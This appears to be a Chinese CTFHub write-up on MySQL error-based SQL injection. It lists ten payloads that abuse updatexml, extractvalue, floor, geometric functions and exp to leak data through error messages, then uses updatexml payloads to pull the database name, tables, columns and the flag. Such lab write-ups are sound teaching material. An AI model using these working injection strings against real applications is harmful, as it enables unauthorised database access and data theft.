CTFHUB—SQL注入—报错注入
updatexml函数:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是Srting格式,为XML文档对象的名称;
第二个参数:XPath——string(Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,cooncat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
同样,也可以利用以下的floor()、extractvalue()等报错注入。
常见数据库函数:
right(str,num):字符串从右开始截取num个字符
left(str,num):字符串从左边开始截取num个字符
substr(str,N,M):字符串从第N个字符开始,截取M个字符
十种报错注入:
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
1.题目

2.查询当前使用的数据库
-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)

3.查询表名
-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)

4.获取表的字段名
-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’),0x7e),1)

5.获取指定数据库的表中列的内容
select*from news where id=-1 union select updatexml(1, concat(0x7e,(select( group_concat(flag)) from sqli.flag), 0x7e),1)

6.1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);


浙公网安备 33010602011771号